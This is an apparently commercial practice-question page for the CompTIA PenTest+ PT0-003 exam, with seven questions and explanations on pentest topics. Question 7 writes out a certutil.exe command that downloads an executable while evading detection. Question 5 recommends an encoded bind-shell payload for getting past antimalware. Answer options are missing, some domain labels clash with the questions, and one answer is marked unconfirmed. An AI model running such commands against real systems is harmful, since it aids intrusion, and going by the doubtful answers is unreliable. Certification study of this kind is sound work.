CompTIA PT0-003 Practice Exam Questions & Answers
CompTIA PT0-003 Exam Details
Key details for this exam, checked against the published exam outline
- Exam Code
- PT0-003
- Full Name
- CompTIA PenTest+ Exam PT0-003
- Issuing Body
- CompTIA
- Question Format (Our Bank)
- Multiple Choice, Hotspot, Drag & Drop
- Delivery
- Online proctored or at Pearson VUE test centre
- Eligibility
- No formal prerequisites. CompTIA recommends 3-4 years of hands-on penetration testing experience and Network+ and Security+ or equivalent knowledge
- Validity
- 3 years
- Full Question Set
- 393 questions Get All Questions
Free PT0-003 Practice Questions
Each question shows the correct answer and an explanation of why it is right
Question 1 Domain 2 Reconnaissance and Enumeration
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here's why option A is correct:
Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.
Reference from Pentest:
Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.
Question 2 Domain 4 Attacks and Exploits
A penetration tester identifies multiple connections to public LLMs. The client's IT team has not authorized the use of all of these LLMs. Which of the following best describes the risk to the client?
The correct answer is A. Accidental loss of internal data
Unauthorized use of public LLMs creates a risk that employees may paste sensitive company information into external AI services. This can include internal documents, source code, customer data, security details, architecture diagrams, incident information, or confidential business content.
Because the LLM services are not approved by IT, the organization may not have controls for data handling, retention, monitoring, contractual protection, or data loss prevention. The broadest and best description of the risk is accidental loss of internal data.
B is incorrect because public disclosure of intellectual property is possible, but it is a narrower example of internal data loss.
C is incorrect because employee credentials could be exposed, but the question does not indicate credential theft or active exfiltration.
D is incorrect because prompt injection is an attack against LLM behavior. The scenario describes unauthorized use of public LLM services, not manipulation of an LLM through malicious prompts.
In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, specifically identifying unauthorized services, shadow IT, data exposure risks, and AI/LLM-related security concerns.
Question 3 Domain 4 Attacks and Exploits
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity:
Source file: components.ts
Issue 2 of 12: Command injection
Severity: High
Call: .innerHTML = response
The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
A false positive occurs when a vulnerability scan incorrectly flags a security issue that does not exist or is not exploitable in the context of the application. Here's the reasoning:
Definition of Command Injection:Command injection vulnerabilities occur when user-controllable data is passed to an interpreter or command execution context without proper sanitization, allowing an attacker to execute arbitrary commands.
Code Analysis:
The response variable is defined as a constant (const), which implies its value is immutable during runtime.
The response is not sourced from user input nor used elsewhere, meaning there is no attack surface or exploitation pathway for an attacker to influence the content of response.
Scanner Misclassification:Static Application Security Testing (SAST) tools may flag vulnerabilities based on patterns (e.g., .innerHTML usage) without assessing the source and flow of data, resulting in false positives.
Final Classification:Since the response variable is static and unchangeable, the flagged issue is not exploitable. This makes it a false positive.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
Domain 4.0 (Penetration Testing Tools)
OWASP Static Code Analysis Guide
Get the complete PT0-003 question set
$20$40
Question 4 Domain 4 Attacks and Exploits
A Chief Information Security Officer disagrees with the severity assigned to findings in a penetration-testing report. Which of the following is the appropriate activity for discussing and resolving the issue?
Client acceptance is the post-report process in which the client reviews the findings, discusses risk ratings, requests clarification, and formally acknowledges or accepts the final results. A disagreement about severity should be addressed through evidence-based discussion with the client, including business impact, exploitability, compensating controls, and the rating methodology.
Peer review is primarily an internal quality-control process. Goal reprioritization applies to engagement priorities rather than resolving a completed report's severity rating. Root-cause analysis investigates why a weakness exists but does not directly resolve a disagreement over report classification.
Verification note: This answer is based on the apparent PT0-003 use of ''client acceptance.'' The exact official wording could not be confirmed from the supplied file.
Reference status: PT0-003-aligned reporting concepts involving client review, acceptance, risk-rating discussions, and final report resolution.
Question 5 Domain 4 Attacks and Exploits
A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?
Using shikata_ga_nai:
This encoder obfuscates the payload, making it harder for antimalware to detect.
The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-64.
Why Not Other Options?
B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimalware.
D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
Question 6 Domain 4 Attacks and Exploits
A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?
Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here's an analysis of each tool and why Kube-hunter is the best choice:
Trivy (Option A):
Trivy is a vulnerability scanner for container images and filesystem.
Capabilities: While effective at scanning container images for vulnerabilities, it is not specifically designed to assess the security of a container orchestration cluster itself.
Nessus (Option B):
Nessus is a general-purpose vulnerability scanner that can assess network devices, operating systems, and applications.
Capabilities: It is not tailored for container orchestration environments and may miss specific issues related to Kubernetes or other orchestration systems.
Grype (Option C):
Grype is a vulnerability scanner for container images.
Capabilities: Similar to Trivy, it focuses on identifying vulnerabilities in container images rather than assessing the overall security posture of a container orchestration cluster.
Kube-hunter (Answe r: D):
Kube-hunter is a tool specifically designed to hunt for security vulnerabilities in Kubernetes clusters.
Capabilities: It scans the Kubernetes cluster for a wide range of security issues, including misconfigurations and vulnerabilities specific to Kubernetes environments.
Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.
Question 7 Domain 3 Vulnerability Discovery and Analysis
A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?
Certutil.exe for File Downloads:
certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.
Example command:
bash
Copy code
certutil.exe -urlcache -split -f http://example.com/file.exe file.exe
Its native status helps it evade detection by security tools.
Why Not Other Options?
A (netsh.exe): Used for network configuration but not for downloading files.
C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.
D (cmdkey.exe): Used for managing stored credentials, not downloading files.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
What the CompTIA PT0-003 Exam Covers
Exam domains verified against the Official CompTIA PT0-003 exam guide, last checked November 2026.
Domain 1 Engagement Management
13%Covers planning and scoping penetration tests, communicating with clients, and selecting appropriate testing frameworks that align with legal and compliance requirements. You will need to understand how to structure engagement contracts and produce professional reports with actionable remediation recommendations.
Domain 2 Reconnaissance and Enumeration
21%Focuses on gathering intelligence about target systems through passive and active techniques, including DNS queries, network scanning, and service enumeration. You must be able to use industry tools effectively and adapt scripts to suit specific reconnaissance scenarios.
Sample question from this domain above Q1
Domain 3 Vulnerability Discovery and Analysis
17%Requires you to conduct vulnerability scanning, interpret scan results, and understand physical security concepts that may affect penetration testing scope. Analysis of output from reconnaissance and scanning phases helps prioritize which vulnerabilities to target.
Sample question from this domain above Q7
Domain 4 Attacks and Exploits
35%The largest domain, covering network attacks, authentication attacks, host-based attacks, web application attacks, cloud attacks, wireless attacks, social engineering, and specialized systems. This domain emphasizes hands-on exploitation using appropriate tools and includes scripting to automate attacks.
Domain 5 Post-exploitation and Lateral Movement
14%Involves maintaining access through persistence techniques, moving laterally across network segments, and understanding data staging and exfiltration methods. You must also know proper cleanup and restoration procedures to leave systems in their original state.
PT0-003 Exam FAQ
Common questions about the exam itself
How hard is the CompTIA PenTest+ PT0-003 exam compared to other security certifications?
What background or experience do I need before attempting PT0-003?
Which PT0-003 domain is hardest and how should I prepare for it?
How long should I spend studying for the PT0-003 exam?
What happens on exam day for PT0-003?
What are the retake and rescheduling rules for PT0-003?
How long is the CompTIA PenTest+ certification valid and what renewal requires?
What job role does the PT0-003 certification prepare me for?
How does PT0-003 relate to other CompTIA certifications in the security track?
What major changes did PT0-003 introduce compared to the older PT0-002 version?
Other CompTIA Exams
Free practice questions for more CompTIA certification exams
